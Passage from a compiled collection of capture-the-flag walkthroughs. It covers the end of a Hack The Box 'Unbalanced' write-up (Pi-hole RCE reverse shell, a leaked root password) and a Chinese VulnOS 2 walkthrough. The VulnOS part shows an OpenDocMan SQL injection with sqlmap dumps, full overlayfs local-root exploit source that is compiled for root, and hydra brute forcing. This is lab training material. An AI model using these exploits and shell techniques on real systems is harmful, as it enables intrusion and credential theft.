then browser to

``` bash
http://127.0.0.1:81/admin/
```

use the poc from github

 - [CVE-2020-8816](https://github.com/AndreyRainchik/CVE-2020-8816)

run the script then we got a reverse shell

``` bash
root@kali:~/hackthebox/machine/unbalanced# python exp2.py http://127.0.0.1:81 admin 10.10.14.5 3344
Attempting to verify if Pi-hole version is vulnerable
Logging in...
Login succeeded
Grabbing CSRF token
Attempting to read $PATH
Pihole is vulnerable and served's $PATH allows PHP
Sending payload
```

``` bash
root@kali:~# nc -lvp 3344
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 10.10.10.200.
Ncat: Connection from 10.10.10.200:38602.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

Boom! get a shell on the docker

#### Privilege Escalation–Information Disclosure–Root:

found password in script file

``` bash
bUbBl3gUm$43v3Ry0n3!
```

``` bash
$ cd /root
$ ls
ph_install.sh
pihole_config.sh
$ cat pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb
```

then we use the password to get root

wow! easy root!

``` bash
bryan@unbalanced:~$ su root
Password: 
root@unbalanced:/home/bryan# cd
root@unbalanced:~# id
uid=0(root) gid=0(root) groups=0(root)
root@unbalanced:~# whoami
root
root@unbalanced:~# ls
root.txt
root@unbalanced:~# cat root
cat: root: No such file or directory
root@unbalanced:~# cat root.txt 
9c9972cb01af0521dc17b015c30103c3
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb62.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb63.jpg)


#### Summary of knowledge

 - Rsync download files
 - EncFS password decrypted
 - sed grep the active lines
 - use squidclient to see more information
 - set http-proxy Squid http proxy to access the webpage
 - exploit with xpath injection
 - python script or burp intruder to fuzz xpath payload args
 - Pi-hole 4.4.0 - Remote Code Execution (Authenticated)
 - ssh tunneling port to 127.0.0.1
 - root password disclosure

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>

<!-- kb:end Unbalanced -->

</details>

<a id="case-vulnos-2"></a>

## OpenDocMan 参数与替代提权

CVE-2014-1945 的查询入口连接系统用户，OverlayFS 与 PostgreSQL/Blender 线索为不同本地路线。原文全部实验分支保留。

<p class="kb-provenance">来源 vulnos-2 · 原记录 2020-04-17 · 24 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-vulnos-2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start vulnos-2 -->

#### 名称
名称：VulnOS: 2
发布日期：2016年5月17日

#### 下载

VulnOSv2.7z

 - Download (Mirror): https://download.vulnhub.com/vulnos/VulnOSv2.7z
 - Download (Torrent): https://download.vulnhub.com/vulnos/VulnOSv2.7z.torrent



#### 描述

VulnOS是打包为虚拟映像的一系列易受攻击的操作系统，以增强渗透测试技能

这是版本2-体积更小，混乱更少！由于时间并不总是站在我这一边，因此花了很长时间创建另一个VulnOS。但是喜欢创建它们。该映像是使用VBOX构建的。解压缩文件并将其添加到虚拟化软件中。

任务是渗透公司网站，获取系统root权限并得到最终的flag

注意：当前的键盘首选项为“pentesting是一个广泛的概念”如果有任何疑问，请随时通过m4db33f@gmail.com联系。向Vulnhub测试团队大声疾呼！希望你喜欢。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.104
Host is up (0.00031s latency).
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -p- -v 192.168.56.104
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
6667/tcp open  irc     ngircd
```

``` bash
root@kali:~# nmap -p 22,80,6667 -sV -v -A -T4 --script=vuln 192.168.56.104
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.104
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.104:80/jabc/?q=node/6
|     Form id: commerce-cart-add-to-cart-form-3
|     Form action: /jabc/?q=node/6
|     
|     Path: http://192.168.56.104:80/jabc/?q=node/4
|     Form id: commerce-cart-add-to-cart-form-1
|     Form action: /jabc/?q=node/4
|     
|     Path: http://192.168.56.104:80/jabc/?q=node/5
|     Form id: commerce-cart-add-to-cart-form-2
|_    Form action: /jabc/?q=node/5
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=M%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/jabc/misc/?C=M%3bO%3dA%27%20OR%20sqlspider
|_    http://192.168.56.104:80/jabc/misc/?C=D%3bO%3dA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
6667/tcp open  irc     ngircd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
```

浏览器访问80端口的website链接

``` bash
http://192.168.56.104/jabc/
```

在此网页中，有许多选项卡，浏览了每个选项卡，包括其页面来源，除了最后一个选项卡（文档）之外，什么也没找到。

当查看页面源代码时，服务器上将显示一行“/jabd0cs/”。只需用guest/guest登录即可

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub267.jpg)

因此，打开目录并使用guest：guest作为用户名：password登录。

并且有一个上载选项，但有一个限制，即只能上载.doc文件，因此它几乎没有用。

如果观察登录页面，则有一个cms OpenDocMan v1.2.7。此版本的opendocman容易受到攻击。

搜索一下可用于opendocman的漏洞利用方法。对于这种类型：

``` bash
root@kali:~# searchsploit OpenDocMan 1.2.7
------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                      |  Path
                                                                                    | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------ ----------------------------------------
OpenDocMan 1.2.7 - Multiple Vulnerabilities                                         | exploits/php/webapps/32075.txt
------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
```

从其结果中，发现了利用32075.txt的漏洞，该漏洞显示“由于对“/ajax_udf.php”脚本中的“add_value” HTTP GET参数的验证不足而存在该漏洞。远程未经身份验证的攻击者可以在应用程序的数据库中执行任意SQL命令。”

现在查看一下exploit

``` bash
root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/32075.txt
Advisory ID: HTB23202
Product: OpenDocMan
Vendor: Free Document Management Software
Vulnerable Version(s): 1.2.7 and probably prior
Tested Version: 1.2.7
Advisory Publication: February 12, 2014 [without technical details]
Vendor Notification: February 12, 2014
Vendor Patch: February 24, 2014
Public Disclosure: March 5, 2014
Vulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]
CVE References: CVE-2014-1945, CVE-2014-1946
Risk Level: High
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:
                                                                                                                             
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.                                                              

1) SQL Injection in OpenDocMan: CVE-2014-1945

The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The exploitation example below displays version of the MySQL server:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9

2) Improper Access Control in OpenDocMan: CVE-2014-1946

The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating userâ??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.

The exploitation example below assigns administrative privileges for the current account:

<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>

------------------------------------------------------------------------
-----------------------

Solution:

Update to OpenDocMan v1.2.7.2

More Information:
http://www.opendocman.com/opendocman-v1-2-7-1-release/
http://www.opendocman.com/opendocman-v1-2-7-2-released/

------------------------------------------------------------------------
-----------------------

References:

[1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan.
[2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂ® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWebÂ® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

------------------------------------------------------------------------
-----------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
```

现在，使用sqlmap来查找用户名和密码的数据库，像下面这样：

该操作使用了burp中与sqlmap联动的插件，右键可以直接注入

 - 跑库

``` bash
D:\burpcn2.0\BurpSuite_pro_v2.1\BurpSuite_pro_v2.1>sqlmap.py -r C:\Users\HASEE\AppData\Local\Temp\\1587350985142.req --level 5 --risk 3 --dbs
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
```

 - 跑表

``` bash
D:\burpcn2.0\BurpSuite_pro_v2.1\BurpSuite_pro_v2.1>sqlmap.py -r C:\Users\HASEE\AppData\Local\Temp\\1587350985142.req --level 5 --risk 3 -D jabcd0cs --tables
Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log    |
| odm_admin         |
| odm_category      |
| odm_data          |
| odm_department    |
| odm_dept_perms    |
| odm_dept_reviewer |
| odm_filetypes     |
| odm_log           |
| odm_odmsys        |
| odm_rights        |
| odm_settings      |
| odm_udf           |
| odm_user          |
| odm_user_perms    |
+-------------------+
```

 - 跑用户名和密码的hash值

``` bash
D:\burpcn2.0\BurpSuite_pro_v2.1\BurpSuite_pro_v2.1>sqlmap.py -r C:\Users\HASEE\AppData\Local\Temp\\1587350985142.req --level 5 --risk 3 -D jabcd0cs -T odm_user --dump
Database: jabcd0cs
Table: odm_user
[2 entries]
+------+-------------+--------------------+----------+-----------+------------+------------------------------------------+------------+---------------+
| id   | phone       | Email              | username | last_name | first_name | password                                 | department | pw_reset_code |
+------+-------------+--------------------+----------+-----------+------------+------------------------------------------+------------+---------------+
| 1    | 5555551212  | webmin@example.com | webmin   | min       | web        | b78aae356709f8c31118ea613980954b         | 2          | <blank>       |
| 2    | 555 5555555 | guest@example.com  | guest    | guest     | guest      | 084e0343a0486ff05530df6c705c8bb4 (guest) | 2          | NULL          |
+------+-------------+--------------------+----------+-----------+------------+------------------------------------------+------------+---------------+
```

使用在线解密工具破解一下webmin的hash值

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub268.jpg)

webmin/webmin1980

密码为webmin1980，用户名为webmin。通过SSH端口登录。在kali中打开一个新终端，然后键入：

``` bash
root@kali:~# ssh webmin@192.168.56.104
The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
ECDSA key fingerprint is SHA256:nIyyJRPJMy1g6F5m8AIT7W//x6lj3ZqhUbYuvSafKeI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
webmin@192.168.56.104's password: 
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Apr 20 04:13:19 CEST 2020

  System load: 0.15              Memory usage: 2%   Processes:       57
  Usage of /:  5.7% of 29.91GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed May  4 10:41:07 2016
$ id
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)
$ whoami
webmin
$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
```

检查内核的版本，看看它是否容易受到攻击。

``` bash
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty
```

版本是14.04，表示可以被利用，并且适用于该类型：

``` bash
root@kali:~# searchsploit ubuntu 14.04
------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                      |  Path
                                                                                    | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------ ----------------------------------------
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation             | exploits/linux/local/37088.c
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation                         | exploits/linux/local/36782.sh
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / Ce | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access  | exploits/linux/local/39771.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Pri | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Pri | exploits/linux/local/37293.txt
Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP | exploits/linux/local/41999.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1 | exploits/linux/local/39166.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privile | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Con | exploits/linux/local/47170.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalat | exploits/linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Loc | exploits/linux/local/47169.c
NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC)                    | exploits/linux/dos/37777.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation     | exploits/linux/local/41762.txt
WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow                         | exploits/linux/local/44204.md
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation           | exploits/linux/local/36820.txt
------------------------------------------------------------------------------------ ----------------------------------------
```

列出了许多可以利用的漏洞，从其中选择37292.c作为overlayfs的“本地提权”。

``` bash
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Pri | exploits/linux/local/37292.c
```

查看exploit

``` bash
root@kali:~# cat /usr/share/exploitdb/exploits/linux/local/37292.c
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
```

将exploit拷贝一份过来然后传输到目标机器上编译并运行

``` bash
root@kali:~/vulnhub/vulnos-2# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
root@kali:~/vulnhub/vulnos-2# ls
37292.c
root@kali:~/vulnhub/vulnos-2# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...                                                                                      
192.168.56.1 - - [19/Apr/2020 23:29:04] code 404, message File not found                                                   
192.168.56.1 - - [19/Apr/2020 23:29:04] "GET /robots.txt HTTP/1.1" 404 -                                                     
192.168.56.1 - - [19/Apr/2020 23:29:04] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [19/Apr/2020 23:29:04] code 404, message File not found
192.168.56.1 - - [19/Apr/2020 23:29:04] "GET /favicon.ico HTTP/1.1" 404 -
192.168.56.104 - - [19/Apr/2020 23:29:54] "GET /37292.c HTTP/1.1" 200 -
```

受害机器运行

``` bash
$ wget http://192.168.56.102:8000/37292.c
--2020-04-20 05:29:53--  http://192.168.56.102:8000/37292.c
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: ‘37292.c’

100%[===================================================================================>] 5,119       --.-K/s   in 0s      

2020-04-20 05:29:53 (895 MB/s) - ‘37292.c’ saved [5119/5119]

$ ls
37292.c
$ chmod 777 *
$ ls -la
total 16
drwxrwxrwx  2 root   root   4096 Apr 20 05:29 .
drwxr-xr-x 21 root   root   4096 Apr  3  2016 ..
-rwxrwxrwx  1 webmin webmin 5119 Apr 20 05:28 37292.c
```

编译并执行程序

``` bash
$ chmod 777 *
$ ls -la
total 16
drwxrwxrwx  2 root   root   4096 Apr 20 05:29 .
drwxr-xr-x 21 root   root   4096 Apr  3  2016 ..
-rwxrwxrwx  1 webmin webmin 5119 Apr 20 05:28 37292.c
$ gcc 37292.c -o shell
$ ls -la
total 28
drwxrwxrwx  2 root   root    4096 Apr 20 05:30 .
drwxr-xr-x 21 root   root    4096 Apr  3  2016 ..
-rwxrwxrwx  1 webmin webmin  5119 Apr 20 05:28 37292.c
-rwxrwxr-x  1 webmin webmin 12193 Apr 20 05:30 shell
$ ./shell 
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(webmin)
# whoami
root
# cd /root
# ls
flag.txt
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?
```

成功得到root权限并获取了flag


 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub269.jpg)

#### 其它getshell尝试

使用之前的webmin账号密码登录web界面后，还可以添加上传文件的类型，从而上传php脚本文件

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub270.jpg)

成功上传php脚本文件后，访问它发现脚本文件并不能被解析

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub271.jpg)

#### 其它获取root权限的方法

/home/webmin目录下有一个post.tar.gz文件

解压后似乎是“hydra”的复制品。这是为什么呢?
执行“netstat -antp”命令，会看到只有mysql(port3306)和postgresql(5432)数据库服务在本地运行，仅在127.0.0.1上运行。

有一个hydra的本地副本、一个密码bruteforcer和一个仅在本地运行的服务。
首先输入目录“post”，通过输入命令“
./在“make”后面加上“configure”。没有义务去做“安装”，取决于你。
make就可以了。
键入./hydra——帮助检查是否一切正常。

首先在端口5432上强制本地postgres数据库。
为了简单，使用metasploit-framework提供的字典列表“postgres_default_pass.txt”。
只需要在目标机器上获取字典列表。
本地攻击机器上启动apache webserver，将字典列表复制到公共html文件夹中，然后作为目标机器上的“webmin”用户进入shell。

然后启动hydra爆破

成功!现在知道postgresql数据库的用户凭证是postgres:posgtres。
仍然以“webmin”的身份登录到postgresql数据库，四处浏览。

``` bash
\c system

\dt

select * from users;
```

得到了username

``` bash
vulnosadmin
```

password

``` bash
c4nuh4ckm3tw1c3
```

成功登录了ssh

``` bash
root@kali:~# ssh vulnosadmin@192.168.56.104
Enter passphrase for key '/root/.ssh/id_rsa': 
vulnosadmin@192.168.56.104's password: 
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Apr 20 05:11:47 CEST 2020

  System load:  0.0               Processes:           86
  Usage of /:   5.8% of 29.91GB   Users logged in:     0
  Memory usage: 16%               IP address for eth0: 192.168.56.104
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed May  4 19:35:16 2016 from 192.168.56.101
vulnosadmin@VulnOSv2:~$ id
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groups=1000(vulnosadmin),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare)
vulnosadmin@VulnOSv2:~$ whoami
vulnosadmin
```

在用户“vulnosadmin”的主目录中发现了一个奇怪的文件。

查看它，似乎是一个blender3D文件。Blender 3D是一款三维建模和动画制作软件。

``` bash
vulnosadmin@VulnOSv2:~$ ls
r00t.blend
```

如果在blender中打开文件，会看到一个3D立方体。以实模式显示。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub272.jpg)

都得到了一个字符串，尝试用作root密码登录ssh

``` bash
ab12fg//drg
```

``` bash
vulnosadmin@VulnOSv2:~$ su root
Password: 
root@VulnOSv2:/home/vulnosadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@VulnOSv2:/home/vulnosadmin# whoami
root
root@VulnOSv2:/home/vulnosadmin# cd /root
root@VulnOSv2:~# ls
flag.txt
root@VulnOSv2:~# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
